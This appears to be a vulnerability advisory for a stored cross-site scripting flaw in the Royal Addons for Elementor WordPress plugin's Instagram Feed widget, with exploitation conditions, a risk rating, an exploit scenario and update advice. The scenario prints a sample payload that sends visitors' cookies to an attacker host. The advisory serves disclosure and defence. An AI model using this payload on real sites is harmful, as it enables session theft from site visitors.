DescriptionCVE.org

The Royal Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Instagram Feed widget's 'instagram_follow_text' setting in all versions up to, and including, 1.7.1056 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Note that exploitation requires that an administrator has previously configured the Instagram Feed widget with a valid Instagram access token on the site.

Vulnerability AssessmentAI

Exploitation Exploitation requires three specific, concrete conditions: (1) The WordPress user must have at least Contributor-level role (PR:L in CVSS vector), meaning they can create and edit posts/pages and modify widgets; (2) An Instagram Feed widget must already exist on a published page or post, and it must be pre-configured with a valid Instagram access token by a site administrator (this is not a default state); (3) The attacker must have access to edit that widget's settings, which is typically restricted to Editors, Administrators, and the page author if they have widget-edit permissions. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 6.4 score reflects a moderate but genuine risk: network-accessible vulnerability with low attack complexity, but requiring authenticated access (PR:L) and limited to Contributor+ roles. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario A malicious actor with WordPress Contributor access (e.g., a rogue employee, compromised account, or invited collaborator) navigates to a page containing the Instagram Feed widget. They edit the widget settings, locate the 'instagram_follow_text' field, and inject a malicious script payload such as '<img src=x onerror="fetch('https://attacker.com/?cookie='+document.cookie)">'. …
Remediation Update Royal Addons for Elementor to the latest patched version beyond 1.7.1056 immediately via the WordPress Plugins dashboard (Plugins > Installed Plugins > Royal Addons for Elementor > Update). … Detailed patch versions, workarounds, and compensating controls in full report.
